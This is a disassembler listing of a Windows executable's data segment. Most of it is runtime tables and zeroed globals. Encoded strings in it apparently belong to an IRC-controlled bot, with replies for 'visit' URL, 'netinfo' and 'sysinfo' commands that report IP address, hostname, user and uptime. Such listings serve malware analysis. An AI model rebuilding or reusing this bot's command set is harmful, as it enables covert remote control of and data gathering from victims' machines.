dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43A10C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
align 10h
aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo
a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo
align 10h
dword_43A140 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41ACF6+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43A184 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A188 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A18C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo
dword_43A194 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o
unk_43A1A4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 10h
dword_43A200 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41ADB5+1A0o
dd 4C525520h, 2Eh
unk_43A21C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43A258 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41ADB5+18Co
dd 64657469h, 2Eh
dword_43A274 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo
dword_43A280 dd 6EAFC609h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
align 10h
dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr
dd 9875h, 9873h
off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r
dd offset nullsub_2
dd offset nullsub_2
dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr
dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o
; sub_41CC4A+2o
off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr
dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er
; sub_4235C9+46r ...
dd 10h, 0
off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do
; sub_41E976+69o ...
off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r
; sub_41E976+89w ...
dd offset dword_43A2E8
dd offset dword_43A2E8
dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r
; sub_41EABA:loc_41EB07w
dd 0FFFFFFFFh
dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o
; ___:0043A2DCo
off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r
; sub_41EABA+20w ...
dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r
; sub_41B513:loc_41B54Fr ...
off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r
; sub_41B6EE:loc_41B74Fr ...
off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r
db 2 dup(0)
word_43C302 dw 20h ; DATA XREF: sub_424D47+18r
; ___:off_43C2F8o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r
; sub_41B6EE:loc_41B73Ar ...
byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r
; sub_420510+311r ...
align 4
dd 1
off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r
; sub_41F69F+457r
; "(null)"
off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r
; "(null)"
byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r
db 2, 4, 8
align 10h
dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo
dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr
dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co
; sub_4203DF+Co
dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o
; sub_420510:loc_420A77o
dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o
dword_43C788 dd 14h ; DATA XREF: sub_421624+2o
off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r
; "exp"
dd 1Dh, 427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h
dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch
dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
dd 23h, 4277D4h, 24h, 4277D0h
dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r
; sub_42135F:loc_421446r ...
dd 0
dd 0FFF80000h
dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r
; sub_42135F:loc_42141Er ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
; sub_42180C+1Fr
align 4
tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
align 10h
off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw
; sub_41F69F+3AAr
off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w
; sub_41F69F+3E2r
off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w
; sub_420510+430r
off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew
; sub_41F69F+3CBr
off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w
off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w
dd offset sub_42470C
align 10h
dd offset sub_42255C
off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r
dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar
; sub_422E2F+11o ...
dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43C940 dd 3 ; DATA XREF: ___:00422D46r
; sub_425955+C8r
dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr
; sub_425955+CDr
dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r
; sub_425A82+4r
dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r
; ___:00422D7Dw ...
dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o
; sub_41F58A:loc_41F647o
dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo
; sub_4235C9+28r
off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
; sub_4235C9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h
dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch
dd 0FFh, 427960h
off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo
; sub_423936+55o
align 10h
dd offset dword_4DB5A0
dd 101h
dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o
dd 1000h, 0
dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o
; sub_420446+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o
; sub_420446:loc_420464o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo
dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o
dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r
; sub_421014+46r
align 8
dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo
dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r
; sub_4247EC+5Ew ...
dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r
; sub_4247EC+8Bw ...
dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br
; sub_4247EC+94w ...
off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o
dd 0Fh dup(0)
off_43CCF4 dd offset dword_544450 ; DATA XREF: ___:off_43CD38o
dd 0Fh dup(0)
off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr
; sub_4247EC+D9r ...
off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r
; sub_4247EC+11Br ...
align 10h
dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw
; sub_424A4A+1Er ...
dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er
; sub_424BF6+BFw
dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r
; sub_424BF6+E0w
align 10h
dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w
; sub_424A4A+26r ...
dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar
; sub_424BF6+EAw ...
dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r
; sub_424BF6+23r ...
dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar
; sub_424BF6+2Er ...
dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_425DDA+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o
; ___:00428030o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o
; ___:00427E38o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o
; ___:00427E84o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co
; ___:00427ED0o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o
; ___:00427F14o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42470C
align 10h
dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o
; ___:0040146Eo ...
dword_43D130 dd 0 ; DATA XREF: ___:004015B0o
; sub_401ACD+B07o ...
dd 5 dup(0)
dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r
; sub_4150B4+60r
dd 2D9h dup(0)
dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r
; sub_401ACD+5F3Fr ...
dd 7Fh dup(0)
dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w
; sub_40B231+40w ...
dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w
; sub_40B231+46w ...
dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w
; sub_40B231+3Ar ...
dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r
; sub_40B412+2Aw ...
dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw
; ___:00401677w ...
byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5DA7r ...
align 4
dd 1E21h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043375Co
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A48o
dword_450050 dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384B8o
dd 17780h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438324o
dd 569Ah dup(0)
dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B0F6+13o ...
dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401ACD:loc_4044D7r ...
dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo
dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o
; ___:00401750o ...
dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo
dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o
dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w
; ___:00401767w ...
dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w
align 10h
byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w
; ___:0040171Br ...
dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw
; sub_401ACD+8BEr
dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo
; sub_40C9A4+13o ...
dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w
; sub_409B12+4EBr ...
dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w
; sub_4196BC+166r
dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw
; sub_409B12+880r ...
dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w
; sub_409B12+A43r ...
dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw
; sub_409B12+A13r ...
dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw
; sub_409B12+4DBr ...
dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w
; sub_409B12+234r
dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw
; sub_409B12+A3Br ...
dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w
; sub_409B12+3C7r ...
dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw
; sub_41AA42+11Er
dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw
; sub_409B12+3CFr ...
dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w
; sub_418C8E+ADr
dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw
; sub_40F0D5+115r ...
dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w
; sub_409B12+D2r ...
dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw
; sub_409B12+A06r ...
dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w
; sub_409B12+3E7r ...
dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w
; sub_409B12+8ACr ...
dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w
; sub_409B12+2F0r ...
dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw
; sub_409B12+8A4r ...
dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w
dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w
; sub_409B12+8B4r ...
dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw
; sub_409B12+6D0r ...
dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w
; sub_409B12+CAr ...
dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w
dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r
; sub_409B12+A95w ...
dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w
; sub_409B12+F2r
dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w
; sub_409B12+4D3r ...
dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w
; sub_40BFA3+20r
dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw
; sub_409B12+A33r
dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w
; sub_409B12+754r ...
dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w
dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw
; sub_409B12+86Dr ...
dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w
; sub_40B2F1+3Do ...
dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w
; sub_409B12+A1Br ...
dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw
; sub_409B12+3D7r ...
dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w
; sub_409B12+3DFr ...
dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w
; sub_409B12+C8Cr ...
dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw
; ___:0041088Fr
dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w
; sub_4153BC+207r
dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w
; sub_409B12+A4Br ...
dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r
; sub_409B12+2B2w ...
dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw
; sub_409B12+DAr ...
dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r
; sub_401ACD+79CEr ...
dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr
; sub_401ACD+5117r ...
dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w
; sub_409B12+890r ...
dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w
; sub_409B12+A23r
dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew
; sub_409B12+C3Fr
dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw
; sub_4184E1+47r
dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw
dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw
; sub_409B12+92Er
dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w
dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w
; sub_4184E1+4Fr
dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w
; sub_409B12+6E8r ...
dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw
; sub_409B12+873r
dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w
; sub_409B12+23Cr
dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w
; sub_409B12+1C2r ...
dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r
; sub_401ACD+5AC7r ...
dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+51A1r ...
dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w
; sub_409B12+6DCr ...
dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw
; sub_409B12:loc_40A40Bw ...
dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r
; sub_409B12+28Bw ...
dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r
; sub_409B12+69Fw ...
dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw
; sub_409B12+341r ...
dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w
; sub_409B12+3EFr ...
dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w
; sub_409B12+C37r
dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w
; sub_409B12+888r ...
dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w
; sub_409B12+227r
dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw
; sub_409B12+1D2r ...
dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w
; sub_409B12+898r ...
dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w
; sub_409B12+774r
dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_409B12+2BFw ...
dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw
; sub_409B12+79Cr ...
dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w
; sub_409B12+334r ...
dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w
; sub_409B12+784r ...
dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw
; sub_409B12+4AEr ...
dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w
; sub_409B12+1DAr ...
dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w
; sub_409B12+3BAr ...
dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w
dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw
; sub_409B12+748r ...
dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5153r ...
dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw
; sub_409B12+C2r ...
dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w
; sub_409B12+4CBr ...
dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w
; sub_409B12+1BAr ...
dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw
; sub_409B12+A5Br ...
dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w
; sub_409B12+7ACr ...
dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r
; sub_401ACD+51B6r ...
dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw
; sub_409B12+C47r
dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew
; sub_409B12+BAr ...
dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r
; sub_409B12+298w ...
dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w
; sub_409B12+78Cr ...
dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w
; sub_409B12+77Cr ...
dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r
; sub_409B12+C92w
dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w
; ___:004168D5r ...
